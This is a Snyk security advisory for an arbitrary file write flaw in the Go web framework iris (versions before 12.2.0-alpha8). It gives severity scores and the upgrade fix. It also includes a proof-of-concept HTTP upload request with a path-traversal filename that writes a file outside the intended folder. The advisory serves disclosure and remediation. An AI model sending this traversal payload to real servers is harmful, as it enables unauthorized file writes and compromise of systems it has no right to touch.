Arbitrary File Write Affecting github.com/kataras/iris/v12 package, versions <12.2.0-alpha8


0.0
high

Snyk CVSS

    Exploit Maturity Proof of concept
    Attack Complexity High
    Confidentiality High
    Integrity High
    Availability High
Expand this section
NVD
8.8 high

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  • Snyk ID SNYK-GOLANG-GITHUBCOMKATARASIRISV12-2325170
  • published 23 Dec 2021
  • disclosed 23 Dec 2021
  • credit Snyk Security Team

How to fix?

Upgrade github.com/kataras/iris/v12 to version 12.2.0-alpha8 or higher.

Overview

github.com/kataras/iris/v12 is a fast, simple yet fully featured and very efficient web framework for Go.

Affected versions of this package are vulnerable to Arbitrary File Write. The unsafe handling of file names during upload using UploadFormFiles method may enable attackers to write to arbitrary locations outside the designated target folder.

PoC by Snyk

Based on the upload-files example.

POST /upload HTTP/1.1
Host: localhost:8080
Content-Type: multipart/form-data; boundary=----xxx
Connection: close
Content-Length: 151

------xxx Content-Disposition: form-data; name="uploadfile"; filename="..././..././malicious-file" Content-Type: text/plain

pwned

------xxx--

Note: the vulnerability is only possible in Go < 1.7.5 due to unsafe net/http behaviour.

References